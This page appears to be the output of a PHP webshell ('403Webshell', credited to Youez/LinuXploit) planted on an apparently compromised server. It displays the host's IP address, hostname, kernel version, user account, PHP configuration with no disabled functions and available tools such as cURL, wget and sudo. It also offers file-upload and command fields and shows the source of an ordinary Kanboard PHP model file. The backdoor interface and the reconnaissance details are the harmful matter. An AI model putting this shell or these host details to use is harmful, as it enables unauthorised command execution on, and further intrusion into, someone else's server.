403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.216.196
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/kanboard/app/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/kanboard/app/Model/SubtaskPositionModel.php
<?php

namespace Kanboard\Model;

use Kanboard\Core\Base;

/**
 * Class SubtaskPositionModel
 *
 * @package Kanboard\Model
 * @author  Frederic Guillot
 */
class SubtaskPositionModel extends Base
{
    /**
     * Change subtask position
     *
     * @access public
     * @param  integer  $task_id
     * @param  integer  $subtask_id
     * @param  integer  $position
     * @return boolean
     */
    public function changePosition($task_id, $subtask_id, $position)
    {
        if ($position < 1 || $position > $this->db->table(SubtaskModel::TABLE)->eq('task_id', $task_id)->count()) {
            return false;
        }

        $subtask_ids = $this->db->table(SubtaskModel::TABLE)->eq('task_id', $task_id)->neq('id', $subtask_id)->asc('position')->findAllByColumn('id');
        $offset = 1;
        $results = array();

        foreach ($subtask_ids as $current_subtask_id) {
            if ($offset == $position) {
                $offset++;
            }

            $results[] = $this->db->table(SubtaskModel::TABLE)->eq('id', $current_subtask_id)->update(array('position' => $offset));
            $offset++;
        }

        $results[] = $this->db->table(SubtaskModel::TABLE)->eq('id', $subtask_id)->update(array('position' => $position));

        return !in_array(false, $results, true);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit